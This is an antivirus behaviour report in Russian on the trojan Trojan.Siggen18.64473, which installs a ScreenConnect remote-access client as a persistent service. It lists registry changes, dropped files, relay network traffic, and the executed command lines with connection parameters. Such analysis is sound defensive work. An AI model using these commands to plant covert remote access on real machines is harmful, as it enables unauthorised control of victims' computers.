Trojan.Siggen18.64473

Техническая информация

Для обеспечения автозапуска и распространения

Модифицирует следующие ключи реестра

[<HKLM>\SOFTWARE\Classes\sc-21ece31da41fb247\shell\open\command] '' = '"%ProgramFiles(x86)%\ScreenConnect Client (21ece31da41fb247)\ScreenConnect.WindowsClient.exe" "%1"'

Устанавливает следующие настройки сервисов

[<HKLM>\System\CurrentControlSet\Services\ScreenConnect Client (21ece31da41fb247)] 'Start' = '00000002'
[<HKLM>\System\CurrentControlSet\Services\ScreenConnect Client (21ece31da41fb247)] 'ImagePath' = '"%ProgramFiles(x86)%\ScreenConnect Client (21ece31da41fb247)\ScreenConnect.ClientService.exe" "...

Создает следующие сервисы

'ScreenConnect Client (21ece31da41fb247)' "%ProgramFiles(x86)%\ScreenConnect Client (21ece31da41fb247)\ScreenConnect.ClientService.exe" "?e=Access&h=instance-zywtbw-relay.screenconnect.com&p=443&s=a90a4caf-4eeb-4b14-82e0-c9c702808724&k...

Изменения в файловой системе

Создает следующие файлы

%TEMP%\setup.msi
%LOCALAPPDATA%\screenconnect client (21ece31da41fb247)\uiuolydh.newcfg
%WINDIR%\syswow64\config\systemprofile\appdata\local\screenconnect client (21ece31da41fb247)\4kopc5yp.newcfg
%LOCALAPPDATA%\screenconnect client (21ece31da41fb247)\ehpmnx1t.newcfg
%WINDIR%\syswow64\config\systemprofile\appdata\local\screenconnect client (21ece31da41fb247)\bbdzqcwo.newcfg
%WINDIR%\installer\{25c1360f-6dea-402e-8353-9085c8c0aa5f}\defaulticon
%ProgramFiles(x86)%\screenconnect client (21ece31da41fb247)\system.config
%ProgramFiles(x86)%\screenconnect client (21ece31da41fb247)\client.resources
%ProgramFiles(x86)%\screenconnect client (21ece31da41fb247)\client.override.en-us.resources
%ProgramFiles(x86)%\screenconnect client (21ece31da41fb247)\client.en-us.resources
%ProgramFiles(x86)%\screenconnect client (21ece31da41fb247)\screenconnect.clientservice.exe
%ProgramFiles(x86)%\screenconnect client (21ece31da41fb247)\screenconnect.windowsclient.exe.config
%WINDIR%\syswow64\config\systemprofile\appdata\local\screenconnect client (21ece31da41fb247)\kopzlnnm.newcfg
%ProgramFiles(x86)%\screenconnect client (21ece31da41fb247)\screenconnect.windowsclient.exe
%ProgramFiles(x86)%\screenconnect client (21ece31da41fb247)\screenconnect.windowsbackstageshell.exe
%ProgramFiles(x86)%\screenconnect client (21ece31da41fb247)\screenconnect.windows.dll
%ProgramFiles(x86)%\screenconnect client (21ece31da41fb247)\screenconnect.core.dll
%ProgramFiles(x86)%\screenconnect client (21ece31da41fb247)\screenconnect.clientservice.dll
%ProgramFiles(x86)%\screenconnect client (21ece31da41fb247)\screenconnect.client.dll
%TEMP%\msia360.tmp-\customaction.config
%TEMP%\msia360.tmp-\screenconnect.windows.dll
%TEMP%\msia360.tmp-\screenconnect.core.dll
%TEMP%\msia360.tmp-\microsoft.deployment.windowsinstaller.dll
%TEMP%\msia360.tmp-\screenconnect.installeractions.dll
%TEMP%\msia360.tmp
%ProgramFiles(x86)%\screenconnect client (21ece31da41fb247)\screenconnect.windowsbackstageshell.exe.config
%WINDIR%\syswow64\config\systemprofile\appdata\local\screenconnect client (21ece31da41fb247)\1xhxqyxi.newcfg

Удаляет следующие файлы

%TEMP%\msia360.tmp-\customaction.config
%TEMP%\msia360.tmp-\microsoft.deployment.windowsinstaller.dll
%TEMP%\msia360.tmp-\screenconnect.core.dll
%TEMP%\msia360.tmp-\screenconnect.installeractions.dll
%TEMP%\msia360.tmp-\screenconnect.windows.dll
%TEMP%\msia360.tmp

Перемещает следующие файлы

%WINDIR%\syswow64\config\systemprofile\appdata\local\screenconnect client (21ece31da41fb247)\bbdzqcwo.newcfg в %WINDIR%\syswow64\config\systemprofile\appdata\local\screenconnect client (21ece31da41fb247)\user.config
%LOCALAPPDATA%\screenconnect client (21ece31da41fb247)\ehpmnx1t.newcfg в %LOCALAPPDATA%\screenconnect client (21ece31da41fb247)\user.config
%WINDIR%\syswow64\config\systemprofile\appdata\local\screenconnect client (21ece31da41fb247)\4kopc5yp.newcfg в %WINDIR%\syswow64\config\systemprofile\appdata\local\screenconnect client (21ece31da41fb247)\user.config
%LOCALAPPDATA%\screenconnect client (21ece31da41fb247)\uiuolydh.newcfg в %LOCALAPPDATA%\screenconnect client (21ece31da41fb247)\user.config
%WINDIR%\syswow64\config\systemprofile\appdata\local\screenconnect client (21ece31da41fb247)\kopzlnnm.newcfg в %WINDIR%\syswow64\config\systemprofile\appdata\local\screenconnect client (21ece31da41fb247)\user.config
%WINDIR%\syswow64\config\systemprofile\appdata\local\screenconnect client (21ece31da41fb247)\1xhxqyxi.newcfg в %WINDIR%\syswow64\config\systemprofile\appdata\local\screenconnect client (21ece31da41fb247)\user.config

Сетевая активность

Подключается к

'in#########wtbw-relay.screenconnect.com':443

TCP

Другие

'in#########wtbw-relay.screenconnect.com':443

UDP

DNS ASK in#########wtbw-relay.screenconnect.com

Другое

Создает и запускает на исполнение

'%ProgramFiles(x86)%\screenconnect client (21ece31da41fb247)\screenconnect.clientservice.exe' "?e=Access&h=instance-zywtbw-relay.screenconnect.com&p=443&s=a90a4caf-4eeb-4b14-82e0-c9c702808724&k=BgIAAACkAABSU0ExAAgAAAEAAQAhyUVVyTHSNLjIItbkP1oCQ1x6MD0qEPw50LpDyB0erGVnTGSor7%2fzh150nCjRPh2...
'%ProgramFiles(x86)%\screenconnect client (21ece31da41fb247)\screenconnect.windowsclient.exe' "Rerun" "?e=Access&y=Host&h=instance-zywtbw-relay.screenconnect.com&p=443&s=0d3d9984-aa89-40b8-adf8-7f3080255397&k=BgIAAACkAABSU0ExAAgAAAEAAQAhyUVVyTHSNLjIItbkP1oCQ1x6MD0qEPw50LpDyB0erGVnTGSor7...
'%ProgramFiles(x86)%\screenconnect client (21ece31da41fb247)\screenconnect.windowsclient.exe' "RunRole" "72e3fb47-0a91-4f58-84c7-a54143f61c41" "User"
'%ProgramFiles(x86)%\screenconnect client (21ece31da41fb247)\screenconnect.windowsclient.exe' "?e=Access&y=Host&h=instance-zywtbw-relay.screenconnect.com&p=443&s=0d3d9984-aa89-40b8-adf8-7f3080255397&k=BgIAAACkAABSU0ExAAgAAAEAAQAhyUVVyTHSNLjIItbkP1oCQ1x6MD0qEPw50LpDyB0erGVnTGSor7%2fzh150...

Запускает на исполнение

'%WINDIR%\syswow64\msiexec.exe' /i "%TEMP%\setup.msi"
'%WINDIR%\syswow64\rundll32.exe' "%TEMP%\MSIA360.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_1353339 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments